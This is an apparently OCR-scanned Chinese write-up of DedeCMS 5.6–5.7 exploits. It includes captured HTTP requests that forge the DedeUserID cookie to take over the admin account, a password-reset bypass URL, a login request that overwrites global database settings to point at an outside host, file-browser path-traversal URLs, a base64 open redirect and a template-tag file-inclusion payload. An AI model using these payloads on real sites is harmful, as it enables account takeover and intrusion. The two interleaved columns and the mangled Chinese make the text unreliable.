Accept: X-Powered-By: PHP/5.4.45

text/html, application/xhtml+xml, application/xml;q=0.9, Set-Cookie: DedelLoginTime=1513786022; expires=Wed,

*/%:.q=0.8 27-Dec-2017 16:07:02 GMT; path=/

Accept-Language: zh-CN, zh;q=0. 8, en-US;q=0.5, en;q=0. 3 Set-Cookie: DedelLoginTime__ckMd5=aB8aab9199dba7a2f;

Accept-Encoding: gzip, deflate expires=Wed, 27-Dec-2017 16:07:02 GMT; path=

Cookie: Set-Cookie: last_vtime=1513786023; expirpe=Thu,

_csrf_name_8eeb887e=36e8b12a3fabe31aac8e818182aal1f26; 21-Dec-2017 16:07:03 GMT; path=/

_csrf_name_8eeb887e__ ckMd5=2337859c9e99998f ; Set-Cookie: last_vtime__ ckMd5=3a 47329dd430;

last_vtime=1513774711; expires=Thu, 21-Dec-2017 16: GMT; path=/

last_vtime__ckMd5=eea721f9f96668bb; last_vid=0000001; Set-Cookie: last_vid=0000001; expires=Thu,

last_vid__ckMd5=916620cb45712c5a; DedeUser ID=9; 21-Dec-2017 16:07:03 GMT; path=/

DedeUser ID__ckMd5=344004fe735d7c7c; Set-Cookie: last_vid__ ckMd5=916620cb45712c5a;

DedelLoginTime=1513780050; expires=Thu, 21-Dec-2017 16:07:03 . path=/

DedeloginTime__ckMd5=a194f154564e8fcé . Content-Length: 6557

DNT: 1 Connection: close

3

GET /dedecms/member/index. php HTTP/1.1 : <Jul>

Host: 127.0.0.1 I— RERERH—>

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; <I-—<h2 class="menuTitle"><b

rv:52.0) Gecko/20100101 Firefox/52.0 class="showMenu"></b>IR{EEFHBIF/h2> —>

Accept: </div>

text/html, application/xhtml+xml, application/xml;q=0.9, {div class="buttomGr"></div>

*/%.q=0.8 </div>

Accept-Language: zh-CN, zh;q=0. 8, en-US;q=0. 5, en;q=0. 3 IR EFRLIT —> <div class="755">

Accept-Encoding: gzip, deflate <div class="main-wrap">

Cookie: <d| class="sns-avatar">

_csrf_name_8eebB887e=36e8b12a3fabe31aac8eB818182aal1f26; <dt>

_csrf_name_8eebB887e_ ckMd5=2337859c9e99998f ; <div class="s120"> <a

last_vtime=1513774711; href="/dedecms/member/index. php?uid=admin"><img

last_vtime__ckMd5=eea721f9f96668bb; last_vid=0000001; src="templets/images/dfboy. png" width="100" j

last_vid__ckMd5=916620cb45712c5a; DedeUser |D=0000001; height="100" alt="1&RIRR"/></a> </di

DedeUser ID__ckMd5=916620cb45712c5a;, </dt>

DedeloginTime=1513780050; \ <dd class="av-index"

DedelLoginTime__ckMd5=a194f154564e8fc6 Lul>

DNT: 1 <li

Connection: close class>%name " >admin<span>f A B P/ span></1i>

Upgrade-Insecure-Requests: 1 <li class="other"
id="moodcontent"><img
src='/member/templets/images/smiley/6. gif'
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http://localhost//member/resetpassword.php?dopost=safequestion&safequestion=0.0&saf

eanswer=&id=1
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https://www.seebug.org/vuldb/ssvid-97074

#2103 (Dedecms) v5.6-5.7 EAGHEIRE(EZEH#HANES)

AR

BRI T g

http://127.0.0.1/[7&
/login.php?dopost=1login&validate=dcug&userid=admin&pwd=inimda& POST[GLOBALS][cfg_db
host]=116.255.183.90& POST[GLOBALS][cfg_dbuser]=root& POST[GLOBALS][cfg_dbpwd]=rote
& POST[GLOBALS][cfg_dbname]=root

€ _E @ validate=dcug A BIAYSEIERS, Bl EEHAMLES . WRENEIIRENINE
ez sEskEL
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https://www.seebug.org/vuldb/ssvid-20859
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1.include/dialog/select_soft.php X{HALARE DEDECMS UGS , LABTHIBIRA T LABKD B pEISIE
Bi&ihE, TR EE

RIS, FRANHEEER TEE.

2.include/dialog/config.php SIEHESEIEIKR
3.include/dialog/select_soft.php?activepath=/include/FCKeditor BtFEEF
4.include/dialog/select_soft.php?activepath=/stOpstoOpstopstoOpstopstopstopstop IEH X
LHAESTERAR .
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#Dedecms 5.7SP1 /plus/download.php URL & E 5 /%)

poNCEE)

ValEan T
http://127.0.0.1/plus/download.php?open=1&link=aHROcDovL3d3dy5iYWlkdS5jb20=
link Z4777E URL EEEIFIE, X base64 iN%.
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/}{dede:test src=../robots.txt/}{dede:${include$z[1][4][src]/**}**/ }/}

2 a N2 & Bl Y= 0=

BH {’“8“ HOede test s robots. b

Mot RElsk (BSXH12TEEH)

e QR B G
QRBG
3 X

“../robots.txt" O] BN N E B IZ N E it A
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